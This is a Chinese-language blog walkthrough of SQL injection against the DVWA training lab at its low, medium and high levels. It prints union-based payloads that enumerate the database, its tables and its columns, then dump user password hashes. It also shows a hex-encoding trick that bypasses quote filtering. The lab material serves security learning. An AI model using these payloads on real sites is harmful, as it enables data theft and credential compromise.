这篇文章主要记录学习sql注入的过程中遇到的问题已经一点学习感悟,过程图片会比较多,比较基础和详细,不存在看不懂哪一步的过程
文章目录
- 靶场介绍
- SQL注入 low
- SQL注入 Medium
- SQL注入 High
- SQL注入 Impossible
靶场介绍
DVWA(Damn Vulnerable Web Application)是一个专为安全专业人员、开发人员和学生设计的网络安全靶场。它是一个基于PHP/MySQL的开源Web应用程序,模拟了一个典型的Web应用程序环境,并包含了多种常见的Web安全漏洞,如SQL注入、跨站脚本攻击(XSS)、文件上传漏洞、命令注入等。这些漏洞被故意设计出来,用于安全教育和渗透测试训练。
SQL注入 low
输入1,正常回显,观察URL明显是get请求传递的参数。
测试是否存在sql注入,这里用 ’ 来测(虽然这个是靶场,我们已经知道存在sql注入漏洞,我为了理清思路,这里完整的复述一遍)
这里报错了,说明这个网页存在sql注入的漏洞
测一下漏洞是字符型还是数字型
1 and 1=1
1 and 1=2
1' and 1=1#
1' and 1=2#
(有的地方用--+有的地方可以用--+注释,有的地方可以用#注释,这里只能用#注释)
前两个都正常回显
这里我们猜测一下数据库的搜索语句应该是这样的,那么应该是字符型
1’ and 1=1#正常回显
1’ and 1=2#回显异常了
这里我们接着想一想后端的sql搜索语句是怎么写的,如下图,当前面闭合后,执行后面的1=1,会正常回显内容,当你1=2时,永假,页面肯定回显异常。到这里就可以判断一定是字符型的注入了。
到这一步基本上我们找到了闭合,可以开始注入了。
(ps:到了这儿,该如何注入就得看各位师父们的手法和技巧了,高超的技巧往往能更快更方便注入。)
1' order by
-1' union select 1,2#
这里的意思就是说联合注入,我们后面查询的1,2两个字段的数据显示在页面的哪个位置,搞清楚了位置我们就可以通过替换1,2字段的查询语句来进行数据库的信息的探测。
探测数据库名
-1' union select database(),2#
探测表名
1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
探测表中字段名
1' and 1=2 union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
获取数据(密码均为md5加密,各位可以去网上用md5解密网站跑,简单的一般不用收费)
1' and 1=2 union select user,password from users#
好了到此,low级别的sql注入已经差不多完成了,后面的中级和高级最后过程就不赘述,只寻找到闭合。
SQL注入 Medium
我们先观察一下页面,只能让你选择你的id,不让你输入了,使用post传参,我们可以用burp suite来抓包实现修改post数据
数据包如下:
分析到这里后,其实其他步骤跟low级别就差不多了
测有无sql漏洞:
id=1'&Submit=Submit测有无sql
判断类型:
id=1' and 1=1#&Submit=Submit
id=1' and 1=2#&Submit=Submit
id=1 or 1=1#&Submit=Submi
如此可以测出来,存在数字型的sql注入漏洞
测试代码如下:
id=1 and 1=1 order by 3&Submit=Submit
id=1 and 1=1 order by 2&Submit=Submit
id=1 union select 1,2&Submit=Submit
id=1 union select 1,database()#&Submit=Submit
id=1 union select 1,table_name from information_schema.tables where table_schema=database()#&Submit=Submit
id=1 union select 1,column_name from information_schema.columns where table_name='users'#&Submit=Submit
这里要就能体现,medium和low有什么区别了。我们探测user表中的字段数时,发现sql语句报错了,说明后端做了过滤。我们点开源代码看看后端做了什么限制。
说明他可能过滤掉了我们的单引号,但是这种过滤其实也没啥太大用处,毕竟换个十六进制加密就能写进去。
id=1 union select 1,column_name from information_schema.columns where table_name=0x5553455253#&Submit=Submit
id=1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #&Submit=Submit
SQL注入 High
这里我们先审一下后端的代码,这里做的限制只要是limit 1,给你一个回复,而且你提交数据的页面和它显示给你的界面不是同一个,这样做是防止sqlmap等自动化扫描工具的批量扫描。然而其他的跟low级别基本上差不太多。
我们直接用low级别的payload也可以直接获取到他的数据库信息。
SQL注入 Impossible
关于这个难度,本人的php水平有限,等后期php的水平提升了再来审一下这个靶场的后端代码,这里先搁置在这里。csdn中很有很多大佬做了代码审计,各位感兴趣可以自行搜索。(QAQ)